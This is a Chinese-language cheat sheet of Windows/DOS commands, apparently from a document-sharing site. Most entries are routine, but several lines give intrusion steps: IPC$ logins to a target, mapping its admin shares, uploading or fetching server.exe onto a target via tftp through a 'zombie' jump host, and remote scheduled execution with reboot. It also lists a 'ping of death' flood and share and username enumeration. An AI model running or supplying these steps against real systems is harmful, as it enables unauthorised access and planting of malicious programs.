2．类型：外部命令3．格式：TREE[盘符：][/F][》PRN]4．使用说明：（1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件；（2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。
（七）DELTREE——删除整个目录命令1．功能：将整个目录及其下属子目录和文件删除。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名 创建目录
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello